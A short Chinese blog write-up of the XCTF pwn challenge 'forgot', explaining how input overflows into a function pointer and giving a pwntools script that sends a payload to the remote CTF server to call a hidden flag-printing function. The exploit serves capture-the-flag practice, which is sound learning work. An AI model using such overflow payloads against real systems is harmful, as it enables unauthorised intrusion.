xctf高手进阶第一题

首先,fgets读取v13,然后scanf读取v2,通过程序条件判断发现,输入a@a.aaaaaaa时,程序会执行到v12,覆盖v12即可调用指定地址的函数。
在做题时,进入误区,自己构造system栈帧,结果一直失败,可能有的地方计算错误。writeup里的方法是直接调用后门函数0x80486cc处的函数,直接输出flag。这个后门函数在IDA Pro中没有显示,可以通过objdump -d ./forgot |grep system查找调用system函数的指令地址,再查看IDA中指定地址的程序,从而确定该函数作用是输出flag。
exp:
from pwn import *
p=remote(‘111.198.29.45’,‘36288’)
print p.recv()
p.sendline(‘a’*4)
print p.recv()
payload=“a@a.chu”+‘A’*25+p32(0x8048604)+p32(0x8048618)
+p32(0x804862C)+p32(0x8048640)+p32(0x8048654)+p32(0x8048668)
+p32(0x804867C)+p32(0x8048690)+p32(0x80486A4)+p32(0x80486cc)
p.sendline(payload)
print p.recv()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值